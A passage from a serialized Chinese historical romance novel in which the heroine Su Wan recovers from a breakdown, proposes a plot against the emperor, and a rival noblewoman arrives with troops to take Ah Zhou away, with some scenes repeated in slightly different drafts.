苏绾的指尖微微颤抖，冷汗顺着额角滑落，沾湿了鬓发。她的眼神涣散，死死盯着虚空，仿佛那里藏着某种恐怖的东西。她的唇微微张开，喉咙里发出细弱的气音，像是想要说什么，却又被卡在喉间，化作断断续续的呓语。
幻相如潮水漫漶，交错重叠——她看见自己回到了那座燃烧的城门楼，火光舔舐雕梁画栋，殷红血水顺着石阶淌落，断手断足的焦黑尸体，竟挣扎着匍匐爬来。耳边萦绕哀嚎和哭喊，熟悉的声音震耳欲聋：“妖女苏绾，祸国殃民，天命诛杀之。”
忽然，一道玄色身影从火焰中走来。
他的甲胄破损，凤眸仍是熟悉的清冷，胸膛一道猩红伤口，鲜血像断线的珠子，汩汩喷涌。他的嘴唇一开一合，似在呼唤她的名字，可她听不见只字片语。
“不……”苏绾踉跄后退一步，赤裸脚掌踩进一滩温热的液体，血腥气扑鼻而来，她低头看去，才发现自己正站在一片血泊之中，而自己的手，紧紧握着一支染血的金簪，簪尖滴落着鲜红的液体。
她瞳孔剧缩，疯狂甩开簪子，想要逃离这个噩梦。然而，那些死去的身影却越逼越近，哀怨的眼神密密麻麻地凝视着她，耳边嗡嗡作响——
“苏绾，你该偿命了……”
“不！”她仰头尖叫，声音凄厉。她双手抱头，指甲深深陷进头皮，身体剧烈颤抖，脸色惨白如纸，眼底的惊恐深不见底。
她转身一路狂奔，黑暗迷惑了她的眼睛，看不清脚下的路，直至撞上冰冷的墙壁，整个人缩成一团，浑身止不住地战栗，犹如逼入绝境的困兽。
“假的、假的……”她喃喃低语，眼神无焦距地扫视四周，试图从这片血海和火光中寻找现实的痕迹，可她什么也看不见，只能无助地蜷缩着，指尖死死抠着墙面，指甲缝溢出了鲜血。
“哈哈……”
她仰起头，眼底满是疯狂的光芒，唇角缓缓勾起，露出一个冰冷又绝望的笑意。断断续续，凄厉诡异，像是被逼疯的孤魂。
“时枫，你是个混蛋。”她喃喃道。
一旁的萧染再也看不下去了，他冲上前去，一脚狠狠踢上阿舟的脊背。这一脚来得猝不及防，阿舟身子向前一挺，怀里的苏绾被他推了出去，踉跄着向前扑倒。
秦欢眼疾手快，快步上前，伸手一把将苏绾揽入怀中，脚下借势转了半圈，稳稳将她护在胸前。
他横腰抱起晕厥的苏绾，眉头紧锁，怒视阿舟，“你端地是何居心？竟敢背后算计我们！”
阿舟被那一脚踢得直翻白眼，整个人冲了出去，扶住案几粗喘了半日，方才缓过神来。他定了定神，眸底立刻泛出凶狠的寒光，咬牙切齿道：“是你背后踢人，竟还反咬一口，不讲道理！”说着，他伸出大手，径直去抢秦欢怀里的苏绾，动作又快又狠，显然是动了真怒。
萧染正愁没地方出气，见状立刻骂道：“狗东西，还敢动手动脚！”
他随手抄起一张凳子，遽然朝阿舟砸去。凳子呼啸飞来，阿舟侧身一闪，凳子砸在案几，木屑四溅，茶盏翻倒，茶水洒了一地。
阿舟躲过这一击，反手抄起地上的木头碎块，用力朝萧染掷去。萧染闪避不及，肩头被划出一道血痕，疼得他倒吸一口凉气。少年怒极反笑，腰间抽出一把短刀，直指阿舟：“找死！”
萧染提着短刀冲上前去，刀锋直指阿舟的咽喉。阿舟不甘示弱，一脚踢向萧染的手腕，短刀应声而落。萧染反应极快，顺势抓住阿舟的脚踝，用力一扯，将他摔倒在地。
二人缠斗一团，帐内桌椅翻倒，茶盏碎裂，一片狼藉。
“住手！”
邵云礼负手立于帐门口，身后几名侍卫手持长刀，严阵以待。
“闹够了没有？”邵云礼沉声道：“堂堂七尺男儿，竟大打出手，成何体统？”
阿舟从地上爬起来，抹去嘴角的血迹，“你们背后偷袭，还有脸要交代？”
萧染捡起地上的短刀，指着阿舟怒道：“分明是你心怀不轨，还敢狡辩！”
秦欢冷冷道：“邵大人，此事需得给个交代。”
邵云礼额头青筋直跳，“闹成这个地步，非本官所愿啊。”
谁能想到半路杀出个苏绾？
秦欢怒道：“你们隐瞒了时枫失忆的事实，失去诚信在先。和谈一事，就此作罢。我没有什么好谈的。”
言毕，转身就要离去。
忽然感到胸前一紧，原来是怀里的苏绾挣扎着醒了过来，她紧声道：“别走。”
秦欢心内一颤。
苏绾的意识在一片混沌中沉浮，耳边回荡着尖锐的嗡鸣声，眼前模糊的光影交错。她被困在一个无尽的梦境，四周全是扭曲的画面，时而清晰，时而模糊，记忆碎片在脑海中不断拼凑又碎裂。
她看见时枫站在渡船栏杆处，背后的奸人山羊胡虎视眈眈瞪着他。她想要呼喊他，可喉咙被堵住了，发不出一点声音。她拼命地向他跑去，可无论她跑得多快，时枫却离她越来越远。突然，山羊胡一脚踹向他的脚面，时枫身影一晃，直直坠入汹涌的黄河。
画面一转，她又看见秦欢站在医馆的门口，手中握着一支桃木簪，温柔地看着她。她想要伸手去接，可指尖还未触到簪子，巨大熊罴现身，疯狂啃噬秦欢的身体，将他啃得支离破碎，化作无数光点不见。
“不要！”苏绾在心底嘶吼，身体被无形的锁链束缚，动弹不得。唯有眼泪无声地滑落，又被无尽的黑暗吞噬。
“醒过来，醒过来。”一个微弱的声音在她的心底响起。
她知道，自己不能再沉沦下去了。每一次的疯痴，每一次的
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晕厥，都让她错过了生命中最重要的人。
尤其是时枫坠河的那一次，她竟直接晕了过去，错过了救他的最佳时机。那种无力感，那种悔恨，将她逼到绝望的边缘，甚至根本不敢再去回想。
“加油！你能打败它！”在那个声音鼓励下，意识开始与那股无形的力量搏斗，要将自己从深渊中拉出来。
眼前的画面再次扭曲，她看见自己站在一片荒芜的战场，四周是残破的旗帜和倒下的尸体。手中握着一把染血的长剑，剑尖滴落的鲜血在地上汇成一条细流。
“要坚强！”微弱的声音再次响起，“你不能被过去困住，你必须立刻醒来。”
呼吸渐渐平稳，意识开始变得清晰，眼前的画面逐渐褪去，取而代之的是一片柔和的光亮。
她猛地睁开眼睛，入目是青灰色道袍衣襟。胸口依旧剧烈起伏，额头沁出细密的汗珠，然而灵台一片清明。
“别走。”她攥着衣襟。
秦欢惊喜道：“你醒了？”
这一次，她仅仅昏迷了一盏茶的工夫，而醒来时，眼神已不再是迷离混沌，而是坚定而清澈。
看来，她的疯痴症状终于有了明显的好转，这让秦欢心中一阵欣慰。毕竟，为了治疗她的疯症，他费尽了心思，历经两世的时光钻研药方，终于有所成效。
“我没事了。”苏绾平静地说。她示意秦欢放下自己，秦欢依言放开了手，但出于谨慎，还是小心地扶住她。
苏绾抬起头，扫视眼前的众人。每个人神色各异，有忧虑、有喜悦、有迷惘，但无论是哪一种，她都能感受到他们的真诚与关切。
没有任何一人，怀有居心叵测的想法，企图陷害她。所有人，都是心怀真爱与敬意，甚至不惜付出一切，甘愿为她献出生命。
她怎能将这些深情厚谊视若无睹，怎能将这些真心弃之不顾？她的生命，承载了太多人的期望与爱，她怎能轻易放手，任由这些美好消逝一空？
苏绾深吸一口气，缓缓开口道：“不要假逼宫，那没什么意义，要玩就玩大的。”
“我要弑君！”
晴天霹雳。
邵云礼一愣，随即愕然，没想到那两个字，竟然从苏绾这位看似柔弱的女子嘴里说出。可细想之下，他又觉得，也许只有她，才有资格，也有实力，发表这样的豪言壮语。回想起从前在京营回苏府的路上，苏绾冷静分析白云观闹鬼一案的种种，让他早就看出，她的理性与机智，以及她的潜力，都远远超乎常人。
萧染卷了卷细长的眼，以为苏绾是替他出面复仇，顿时感动得鼻涕一把泪一把，右手紧握成拳，狠狠地捶了下自己的胸膛，表示为她的义薄云天而热血沸腾。
“不行。”秦欢却不同意，“贵妃和太子尚在后宫，若贸然弑君，一旦失败，必然遭到皇帝更加疯狂的报复，贵妃母子性命堪忧。”
阿舟眨巴着眼睛，仿佛听天书一般。
苏绾冷笑一声：“你们这一群人，谁不是与皇帝有着血海深仇？即便是秦欢，也因皇帝动了废储之心，而身处被动局面，全族前途渺茫。”
“凭什么，所有人都要一味忍让，屈膝低头？”
她的眼神愈发凌厉：“皇帝的位子，若是他姓朱的坐不好，那就换个人来坐！”
“至于温如初，就算是有两个，也不过是鸡鸣狗盗之流，本质上都是胆小鬼罢了，根本不足为惧。”
每句话都像是一记重锤，敲打在众人心头，惊天动地。
秦欢仍有疑虑，他越来越觉得，自己手里掌握的关键线索太少了，以至于苏绾莫名提到“弑君”一说，他竟无言以对。既没有十足的理由反驳她，也没有底气支持她。
他可太弱了。
可苏绾却不这么想，她上前攥住秦欢的手，娇嗔道：“表哥，接下来就看你的了。你要施展青囊岐黄之术，帮助时枫恢复记忆，就当是为了我，好不好？”
秦欢眼皮跳了跳。
118. 计划
弑君。
萧染卷了卷细长的眼，以为苏绾是替他出面复仇，顿时感动得鼻涕一把泪一把，右手紧握成拳，狠狠地捶了下胸膛，表示为她的义薄云天而热血沸腾。
邵云礼怔了半晌，没想到那两个字，竟然从娇柔女子的嘴里说出。粗看觉得有浮夸说大话的嫌疑，可细想之下，他又觉得，也许只有她才有资格，也有实力发表这样的豪言壮语。
他剪起手臂，目光幽幽道：“苏姑娘这盘棋，下得倒是精彩，可惜弑君是一步绝境险棋，落子偏差半分，必将陷入抄家诛九族之死局。”
掀眸逡巡一下周围，“我等家族人丁单薄，也非贪生怕死之辈，赔上几条性命，尚不足为惜。”
目光停留在秦欢身上，“然贵妃与太子尚居后宫，贸然策划弑君，一旦失败，皇帝势必倾尽反扑，贵妃母子性命难保，秦氏一族亦难逃牵连。”
这也是秦欢不惜代价，舍命陪君子的根本原因。
前世曾亲眼目睹贵妃宫斗失败，秦氏全族覆灭的惨痛教训，苏绾怎会不知此间利害？
她睇着秦欢，点头道：“我自知此事非同小可，绝不可视之儿戏。小女子敢以性命担保，此计经得起历史及时光的考验。各位不妨先听听看。”
她话中有话，别人尚且听不出什么，然秦欢心知她重活一世，手里必是握有关键信息线索，绝不肯虚言妄断。
他将苏绾扶进座椅，又让邵云礼取来堪舆图，自己则安静地站在一旁。众人见秦欢默许，也跟着凑近桌案，围成一圈。
中心苏绾端坐案前，她神色肃然，整理衣襟，娓娓道来。
第一重：废储
烛火摇曳，映得案上的堪舆图隐隐泛光。苏绾指尖轻点京城位置，眸光微凝，“新年伊始，皇帝已下诏召十三省封疆大吏觐见，显然是借小皇子百日诞辰之机，强行废储立新。”
进而，眼底闪过一丝锋芒，“既然他想立嗣，那便让他立。”
“贵妃不争不抢，皇后也不会穷追不舍。由秦欢入宫探望，以休养之名将贵妃与太子移出皇宫，送往江南暂避，借殷潜庇护，保存血脉根基。”
她收回指尖，“如此一来，后宫再无后顾之忧。”
第二重：保命
苏绾目光微转，指向京城布防标记，“皇帝与温如初的共同目标，意在诸位的身家性命。相信锦衣卫已在京城各处暗中布桩，待我等入京后，即分秒拿下。”
她俯下身子，划出两道线，“有两条路。其一，时枫继续扮演‘阵亡将军’角色，暗中潜入京城调查，稳住京营局势；其二，萧染借完成朝廷任务之名，要求皇帝履行承诺赐下名分，‘认祖归宗’。”
她抬起头，咬了咬唇，“我也会入宫，亲自向皇帝表明身份。温如初有所顾忌，不敢对我造次。”
第三重：灭敌
她手腕轻转，在皇城处勾画三角，“皇帝左有内阁，右有锦衣卫，背后更有太后扶持，三足鼎立，难以撼动。”
指尖一顿，重点强调：“需分步击破，逐一瓦解。”
又滑向户部衙门，“这里虽有两个温如初，却并非一体同心。让他们尝尝‘反间计’的滋味，狗咬狗一嘴毛。”
第四重：围剿
苏绾掀眸望向众人，“朝廷也不是吃闲饭的，一旦醒悟过来，就会立刻出兵缴杀我们。”
伸手分别点了点四境边关，“利用借兵战术，四路联盟夹击朝廷军队。东瀛浪人、西部绥靖王、漠北匈奴，南蛮铁骑，皆可为我所用。其具体规划，等到时枫恢复记忆之后，再做决断不迟。”
她收回目光，端坐于案前，双手一摊，“大局已定，请诸君欣赏，这万里江山如何改姓。”
案上烛火微颤，投下晃动的光影。每句话都像是一记重锤，敲打在众人心头，惊天动地。
邵云礼舔了舔干涩的唇，端起茶盏畅饮一番。回想起从前在京营回苏府的路上，苏绾冷静分析白云观闹鬼一案的种种，让他早就看出，她的理性与机智，以及她的潜力，都远远超乎常人。
纸上谈兵终觉浅，真正的战局，远比想象复杂得多。
邵云礼心道：时枫啊时枫，你若再不赶快恢复记忆，光芒都要被苏绾一人夺尽了。
这时，萧染皱起眉头，像是想通了什么，猛地一拍案几，震得茶盏晃了晃，险些颠覆倾洒。
他后知后觉，拍了拍脑袋，惊道：“不对啊，你说皇帝抛弃了你娘，他何时看上的苏夫人？”
“咳……”邵云礼刚喝进口中的茶水险些喷出来，他连忙偏头咳了几声消解。
秦欢斜睨萧染一眼，冷声道：“你个呆子，不说话没人拿你当哑巴。”
“我说错了吗？”少年卷了卷细长的眼眸，想不明白皇帝老儿到底是怎么跟苏夫人搞到一起的。他对于情爱的理解，比之垂髫小儿，深刻不到哪里去。
苏绾敲了敲桌案，“让我们痛痛快快，大干一场吧。”
秦欢全程未讲一个字。他越来越觉得，自己手里掌握的关键线索太少了，以至于苏绾莫名提到“弑君”一说，他竟无言以对。既没有十足的理由反驳她，也没有底气支持她。
他可太弱了。
可苏绾却不这么想，她上前攥住秦欢的手腕，娇嗔道：“表哥，接下来就看你的了。你要施展青囊岐黄之术，帮助时枫恢复记忆，就当是为了我，好不好？”
秦欢眼皮跳了跳，广袖一甩，卷起一阵药香漫向苏绾鼻尖。他转过身去，脊背绷成冷硬的弓弦，声音似淬过冰凌的刀刃：“我没那个本事。”
要他修补剜心之人的记忆？他可没那般宽宏大量。
“表哥说笑呢？”苏绾眼尾泛起红晕，欺身上前半步，“普天之下，还有秦大夫渡不了的劫？我不信。”
她伸出纤纤素手，指尖陷进鸦青道袍，嗓音浸着蜜糖般的颤音：“表哥，帮帮忙啊，火烧眉毛了。”
秦欢甩袖挣开她，奈何苏绾执拗不放，二人拉拉扯扯，推推搡搡，看得阿舟拳头攥得紧紧。
纠缠间有什么东西自袖中倏地滑落，啪嗒一声摔在黄土坷垃上，盖子被震开，里面盛放的物品骨碌碌滚过斑驳烛光。
原是一枚木簪子，簪头雕刻一朵桃花。大约受到了强烈的震荡，簪头部分断裂，花瓣失去了半边摇摇欲坠，金线垂落蜿蜒在裂痕边缘。
秦欢一怔，喉结滚动着咽下惊痛，离开驿站时走得太过匆忙，竟未察觉袖中还藏着这段未送出的春日。
苏绾弯腰拾起那枚簪子，指腹摩挲簪身，触感温润，做工精细，还残留着他替自己焐手的热度。她心中暗道：原来他一直藏着掖着的是这支簪子，可惜摔坏了。
她素手一扬，断簪投下残破花影，“给我的？”尾音勾着狡黠，目光描摹着他颈侧暴突的血脉。
秦欢脸色极为难堪，眼中隐隐透着狼狈，“还我。”他劈手夺过苏绾手中的断簪，顶端木刺扎进掌心，引起不经意地“嘶”得一声，血色顺着木纹渗入金丝。
他将残簪塞入袖中，布料摩擦声裹着砂砾般的涩意，“我留着镇药箱的。”
“小气鬼。”苏绾撇了撇嘴。
她了解秦欢，既然他说无能为力，那便是真的没办法了。他的性子向来如此，从不虚张声势，也不轻易许诺。
苏绾暗自叹了口气，看来恢复记忆这条路暂时行不通，只得另寻他法，总归天无绝人之路。
一旁的萧染卷了卷细长的眼眸，恍然大悟道：“我就说嘛，金丝缠木终是朽物，怎配美人云鬓？”
本是随口一说，秦欢垂眸凝视掌心渗血的木刺，忽觉自己就像这截断木。纵使裹了金
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线雕了桃花，终究是配不上鬓边明珠的朽枝。
三人之间的暗流涌动，被邵云礼看得分明，眼底流转着琥珀色的兴味。余光瞥见阿舟攥紧的拳头青筋暴起，恍若困兽在牢笼中徒劳冲撞。
邵云礼摇摇头，心道：男女之事，还真是混乱啊。不过，越乱才越有意思，不是吗？
阿舟从喉间挤出低吼，震落檐角积尘，“不用他治，我自己想办法。”
这个愣头青说得倒是轻巧，普天之下，又有哪个凡人，有本事治疗他的失忆之症呢？恐怕只有大罗神仙吧。
等等……
记忆深处忽有星点火光浮起，蓦然想起一个人来——或许，那个人能拼凑破碎的前尘。
白日向西沉，夜月沙上栖。
忽然，兵营外传来急促的马蹄声，紧接着是一阵短促而尖锐的号角。
守卫上前查探，一队兵马破风而入，长刀寒光乍现，顷刻间火光映红了天际，喊杀声震耳欲聋。
邵云礼神色一沉，迅速组织布防，他换上盔甲出营一看，一眼认出兵马来历——竟是福建都指挥使沈恪的水兵。
队伍之后，一辆雕金嵌玉的马车缓缓驶入，车轮碾过碎石，发出沉闷的滚动声。车帘轻轻掀开，纤细玉手伸了出来，一身淡紫云纹长裙的沈枝意缓步而下。
她目光在人群中一扫，袅袅婷婷走近众人，柔柔弱弱唤了声：“阿舟哥哥。”
话音未落，她已然挽住阿舟的手臂，身姿前倾，神情柔婉，依恋不舍。
阿舟浑身一僵，下意识想要挣开，可沈枝意却拢得更紧，仰头望着他，娇嗔道：“我一路寻你，找得好苦，你可知卿卿有多担心你？”
邵云礼挑眉观望，秦欢神色冷漠，而萧染直接看傻了眼。
苏绾立在一旁，冷笑道：“女儿家这般同男子亲昵，有悖闺门礼节。”
沈枝意闻言，猛然抬头一看，见是熟人在场，她卷了卷眼眸，微微一笑：“我当是谁呢，原来是绾姐姐，别来无恙。”
她顿了顿，又道：“听说你从温侍郎那里逃了婚，可是逃到杭州去了？怎么又回到这京城来了呢？你不怕，”嘴角狡黠地上扬，“温侍郎上门捉人吗？”
苏绾嗤笑：“我有什么好怕的。京营里这许多人保护我，庇佑我，什么魑魅魍魉都不敢近我的身。”
沈枝意扫过她身旁站立的几人，初次见秦欢和萧染，沈枝意不由得多看了两眼，见二人丰神隽秀，一个温文尔雅，一个英气逼人，心里暗骂：苏绾这个娼妇，不知哪里拐的野男人。正好，不用跟她抢阿舟。
沈枝意勾唇道：“绾姐姐自是有数不清的英雄围绕，我就不一样了。”她侧目睇着阿舟，“我只有阿舟哥哥一人，我们很快就要成亲了。”
苏绾心底一沉。
他竟然有了婚约。
仔细回忆一下，好像文竹的信里提过一嘴，讲时枫做了渔民的上门女婿，可为何又改娶沈枝意？
“怎么回事？”苏绾瞪着阿舟，质问道。
阿舟非常鸡贼，立刻摇头否认，“没有，邵大人说了，我不娶她。”
轮到邵云礼心里一颤。
“咳……”他假装咳嗽，掩饰内心的惶恐，俄延半晌，缓缓道：“是有这么回事……”
转过头又道：“不过那已经是过去的事情了，如今计划有变。”
他看着沈枝意，道：“阿舟待在京营里更安全。”
“胡说！”沈枝意小脸泛白，“失了爹爹的庇佑，谁还能保阿舟哥哥平安？”
转而怒道：“你们这些骗子，竟敢欺负本小姐，我叫爹爹讨伐你们，将你们通通关进大牢。”
随即命令她带来的兵士戒严，兵戈声响彻云霄。
“阿舟哥哥，必须跟我回去。”
（未完待续）
119. 要人
苏绾趸出营帐，心情好极了。就连天上的月亮，也好似赶趟似的，只为她一人独明。
距离上一次被人圈禁在洗澡房，已过去半年有余。时过境迁，不但万事尽在掌控之下，竟还收获意外之喜——阿舟实在有趣极了，稍稍吓唬一下，立刻服服帖帖，乖顺得不像话。比起那位阴鸷冷戾的“冷面阎罗”，她显然更喜欢这只略显呆萌、又带点委屈巴巴的小黑狗。
她有点不想让他恢复记忆了。
白日向西沉，夜月沙上栖。
萧染本想趁这个空当，逮住阿舟好好敲打一番，让那臭小子认清形势，明白谁才是京郊这块区域的老大——失忆的前京卫指挥使，在他毒蛇堂堂主面前，实在微不足道。
岂料，他绕着军营兜了几圈，不但没连阿舟的影子都没发现，反倒几次被兵士驱赶，差点被当成奸细。他憋着一肚子闷气，百无聊赖地拔着干草，一张脸气得发绿，比锅底还难看。
这时，秦欢趁着月色寻了过来，打眼瞥见草丛边蹲着的萧染，气不打一处来。
上前揪住萧染的衣领，毫不客气地将他拎起，秦欢怒道：“给我站好，成何体统。”
萧染被勒得喘不过气，站起身直嚷嚷：“你想勒死我？”
秦欢冷声道：“你没那么容易死。”
萧染极少见过秦欢这般暴躁愤怒模样，觉得有些新奇，他揉着脖子，歪头试探道：“你是怕他跟你抢人吗？”
一语中的，秦欢眼眸几不可察地沉了沉，抖了抖衣袖沾染的枯草，“少管闲事。”
此刻，秦欢一点不想跟别人分享苦闷心情。
萧染剪了剪眼眸，自言自语道：“那个人就算活着回来了，也不过是个傻瓜而已，有什么好怕的呢？”
这话像是安慰秦欢，又像是警醒自己。
萧染做梦也没想到，自己会多了一个舅家表妹。
他怕的不是阿舟，也不是时枫，他怕的是骨血联系。只因先帝制定的律法，规定凡同一姓氏、姑舅两姨表亲之间一律禁止通婚。
可律法归律法，就算她跟自己没有血缘关系，他也根本没有任何机会，纯属庸人自扰之。
萧染正准备离开，忽然耳朵敏锐地捕捉到风中夹杂的一丝异样动静。
“嘘——”他侧耳聆听：“南面，有兵马逼近。”
很快，漫天尘土翻涌，一队兵马闯进了营地。火光映红半边天际，喊杀声震耳欲聋，惊起战马阵阵嘶鸣。
邵云礼喝道：“所有人就位，准备迎敌！”
士卒们闻令而动，弓弩手登上哨塔，刀盾手筑起防线，长枪林立，严阵以待。
邵云礼大步迈出营帐，定睛看向那来势汹汹的军阵——
那旗号，那铠甲……
竟是福建都指挥使沈恪的水师。
所有进京面圣的武将，一律皆不允许自带兵马，恐有谋逆造反之嫌。沈恪的兵马本应驻扎在百里开外的乡下，如今贸然出现在京营，怕是来者不善。
他瞥了一眼茫然的阿舟，沉声道：“看来，是专程找上门来要人的。”
果不其然，一辆雕金嵌玉的马车缓缓驶入，车轮碾过路边碎石，发出沉闷而有节奏的响动。暮色沉沉，马匹鼻腔喷着热气，蹄声在寂静的荒野格外清晰。
待马车停稳，车帘掀起一角，一只纤细玉手探出，随从立刻屈身递上手臂。紧接着，一袭淡紫长裙映入眼帘。沈家嫡女沈枝意，踩着车橼款款而下，举手投足皆是世家贵女的矜贵娴雅。她环顾四周，娴静目光掠过刀光剑影，最后定格在阿舟身上。
佳人弯了弯眼眸，轻声唤道：“阿舟哥哥。”
她轻快地碎步上前，一头撞进阿舟的胸膛，玉手环抱男人的腰杆。
“我一路寻你，找得好苦，你可知卿卿有多担心你？”她眼波流转，楚楚可怜，恰到好处地展现了女儿家的娇态与哀怨，偏生又带着几分不容拒绝的执拗。
“沈小姐，不可。”犹如被雷劈了一般，男人身体绷成直线。他下意识地推她，可那双纤纤玉指拢得更紧，仿佛要与他融为一体。
阿舟脸色骤变，两手蓦然抓住佳人双臂，粗暴地将她从怀里扯开。
“阿舟哥哥，不要这么见外嘛。”沈枝意不羞不恼，顺势挽住粗壮的手臂，仰起雪白颈项，歪头枕在男人肩膀，柔柔弱弱，小鸟依人。
苏绾冷笑道：“女儿家这般与男子亲昵，倒是别具一格。”
那声音分外冷漠，仿佛一根暗刺扎进肌肤，令沈枝意眼皮一跳。
她抬头望去：只见苏绾一身男子装束，粗布遮掩不了纤柔身姿，熟悉的倩影站在暮色中，如明星般璀璨耀眼。
不愧是沈家大小姐，沈枝意即时收拢心绪，缓缓松开男人的手臂，镇静道：“我当是谁呢，原来是绾姐姐，别来无恙。”
她轻轻一顿，似是无意，又似蓄意而为，“听闻姐姐从温侍郎那里逃婚远走杭州，怎的如今又回京了？”嘴角泛着狡黠的笑意：“姐姐就不怕温侍郎寻上门，把你捉回去？”
言谈举止皆是嘲讽，然苏绾一点不恼，付诸一笑：“我苏绾向来天不怕地不怕，更何况，京营里这许多人护着我，庇佑我。”她环顾四周，淡淡道：“这般天时地利人和，什么魑魅魍魉，也不敢近我的身。”
伴随她的话语，沈枝意目光一转，缓缓扫过苏绾身旁的几人。
秦欢一身鸦青道袍，神色淡漠，周身自有一股清贵气度；萧染则身着窄袖战袍，眉宇透着几分狂傲不羁。二人皆是丰神隽秀之辈，气质各异，卓然出众。
沈枝意暗暗咬牙：苏绾这个娼妇，身边竟环绕着这等出色人物，也不知从哪儿拐来的野男人。正好，省得她与自己争阿舟。
佳人笑意嫣然：“绾姐姐自是有数不尽的英雄环绕，我却不比姐姐这般有本事。”
她睇着阿舟，含情脉脉道：“我只有阿舟哥哥一人，他待我情深义重，护我周全。”
声音柔得几乎滴出水来：“我们很快就要成亲了。”
成亲？
苏绾心头一沉。文竹信里曾提过，讲阿舟做了渔民的上门女婿，可对象何时又变成沈枝意？
“怎么回事？”苏绾瞪着阿舟质问道。
结果阿舟十分鸡贼，立刻摇头否认：“没有，邵大人说了，我不娶她。”
轮到邵云礼心里一颤。
“咳咳咳。”他佯装咳嗽几声，搪塞道：“好像是有这么回事……”
“不过，那已经是过去的事情了。”他斟酌着措辞，谨慎道：“如今计划有变。”
“阿舟应该留在属于他的地方。”邵云礼正色道。
相比守候沈家的这位嫡女千金，明显还是待在京营里更加安全。
“胡说！”沈枝意气得小脸泛白，“失了爹爹的庇佑，谁还能保阿舟哥哥平安？你们将他拘在天子脚下，究竟是何居心？”
“我也是为阿舟好……”
邵云礼还想再多辩驳几句，可沈大小姐并不给他机会，她跺着小脚，恨恨道：“你们这些骗子，竟敢欺负本小姐！我要禀告爹爹，让他讨伐你们，把你们通通关进大牢！”
随着她一声令下，身后兵士列阵，刀枪齐举，甲胄碰撞，兵戈声震天响起，肃杀之气蔓延整个营地。
“阿舟哥哥，必须跟我回去。”沈枝意冷冷道。
邵云礼暗呼不妙。
他着实低估了沈枝意的胆量，竟敢带兵擅闯京营。此事若传出去，分明是死罪。可眼下他正有求于沈恪，断不敢对沈家嫡女稍有冒犯。一时间，进退维谷，让这位八面玲珑的大理寺卿，也犯了难。
他支吾其声：“这、这个，不太好吧。”
然而沈枝意态度坚决：“谁人胆敢阻拦本小姐，将视为挑战爹爹的权威。”
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>阿舟立于风口浪尖之上，却丝毫不见慌乱，反倒一派气定神闲。他认定邵云礼不会食言，自然有恃无恐。
他瞥了苏绾一眼，随即收回目光，语气坚定：“我不回去。”
沈枝意急了，“阿舟哥哥，你不要被这些人骗了。他们巴不得你从此消失呢！”
她环视众人，眸中满是戒备与敌意，手指逐一指过，“你看看，他们这些人当中，一个接管了你的兵，一个曾被你天涯海角追杀，剩下的全是她的帮凶。全部都是坏人，他们想要你的命。”
她深深望着阿舟，“只有卿卿是真心为你好。”
阿舟却神色不动，对她的控诉置若罔闻。
男人坚定的态度，令苏绾颇为满意。她上前一步，道：“不想回去就不回去，没人能强迫你。”
阿舟点了点头。
二人之间的默契，狠狠刺痛了沈枝意的眼。她攥紧手帕，咬了咬唇：“阿舟哥哥，你不会忘了阿喜吧？她还在县城等着你呢。”
此话一出，阿舟神情明显一僵。
阿喜父女还在沈家手里，他怎能置之不理？若是执意留在京营，沈枝意绝不会善罢甘休，阿喜他们就危险了。
“阿喜……”男人拳头不自觉地握紧。
沈枝意眼底闪过得意之色，她步步紧逼：“阿喜嘱托我，一定要把阿舟哥哥带回去，我怎能辜负她的期望呢？你说是不是？”
阿舟望向苏绾，见她神色平静，毫不在意，仿佛这一切与她无关。他忽然意识到，和苏绾比起来，阿喜更需要他的保护。
沉默片刻，男人闭了闭眼，像是做了某种决定，咬牙道：“我跟你回去。”
沈枝意眉眼间尽是得意，而苏绾则淡淡挑眉，似笑非笑，眼中毫无波澜。
这一刻，苏绾的漠然，与沈枝意的欢喜，形成了最鲜明的对比。
既然阿舟做了决定，旁人也不再多说，众人正准备各自散去。
忽然，小旗兵匆忙赶上前，向邵云礼禀报：“启禀指挥使，踏月在来兵的马车里，发现了动静。”
夜幕沉沉，小旗官按照惯例，牵着踏月去吃加餐夜草。月光照耀下，战马银白鬃毛泛着柔和的光泽，宛如披上一层霜雪。
许久未见，小旗官心里牵挂得紧，生怕踏月吃不好、喝不够。他一边顺着亮毛，一边低声絮叨：“你救了将军，等于救了咱们全营三万多条性命。以后你想吃什么都行，想要天上的月亮，咱们一个踩着一个肩膀，也要给你摘下来不可。”
踏月低头啃了几口草料，突然耳朵一竖，尾巴扬起，浑身肌肉紧绷。
凭借多年相处的默契，小旗官立刻明白，踏月这是听到了熟悉的声音。
他牵紧缰绳，朝营门方向望去，远远瞧见那里黑压压站满了一群外军，火光照耀甲胄，映出一片肃杀之意。
小旗官顿时心生不安，悄声道：“踏月啊，军规森严，无令不得单枪匹马挑战来军，你可别乱来，这是杀头之罪……”
话音未落，踏月挣脱缰绳，扬蹄狂奔，直直冲向那辆雕金嵌玉的马车。
好在无人看管。
来到马车前，踏月昂首嘶鸣，前蹄高高扬起，不住地刨着地面，焦躁不安。
小旗官心头狂跳，他快步跟上，悄悄掀开车帘一瞧，果然不对劲——车厢里，竟然蜷缩着一个人！
那人手脚被麻绳捆绑，嘴巴也被布条堵塞，只能发出微弱的呜咽声。
小旗官惊得倒吸一口凉气，“马车有诈。”
守卫闻声而动，将马车团团围住。小旗官安顿好踏月，自己则亲自上前禀报。
不多时，几名亲兵押来一名女子——竟是阿喜。
她身子软得站不起来，跪倒在地，发丝凌乱，眼中泪光闪烁，“救救文竹，他快没命了。”
此话一出，众人皆是一惊。唯有沈枝意，眼眸骤然晦暗。
120. 小厮
沈恪的行军路线，曲折迂回，虚虚实实。他带着女儿沿官道行驶，食宿皆安排在驿站，步步为营；而阿舟、阿喜等人则走民间小路，由晴雷、文竹贴身照料，食宿都在客栈，确保外界无法探究真正行踪。
这一路，最辛苦的莫过于邵云礼。他肩负两路人马的联络重任，来来回回奔波不停，硬生生比旁人多走了一半的路程。心中虽苦不堪言，却也只能咬牙坚持。
而且，沈恪的担忧并非多余。车马不但经历风霜雨雪，偶尔还有劫匪路霸。某次，邵云礼抓到一名小喽啰，经过一番严刑拷打，赫然逼出了其真实身份——皇宫暗卫。
看来，朝廷开始动手清理了。
邵云礼不得不另行谋划出路。为此，他想出了一条“合纵连横”的计谋，借助“同盟”的力量，从而冲破敌人的围追堵截。
他将目标定在了秦欢的身上。
经过一个多月的辗转跋涉，一行人终于抵达顺天府。沈恪择地而驻，将兵马安置在东郊的大兴县城附近。
为了不打草惊蛇，沈恪打算独自先行进京，打探敌方虚实。以他都指挥使的身份，踏入京城的第一步，必然迎来兵部尚书的私人邀约。这日，他打点行装，嘱咐女儿好生等他，带了数名心腹扈从，策马进京而去。
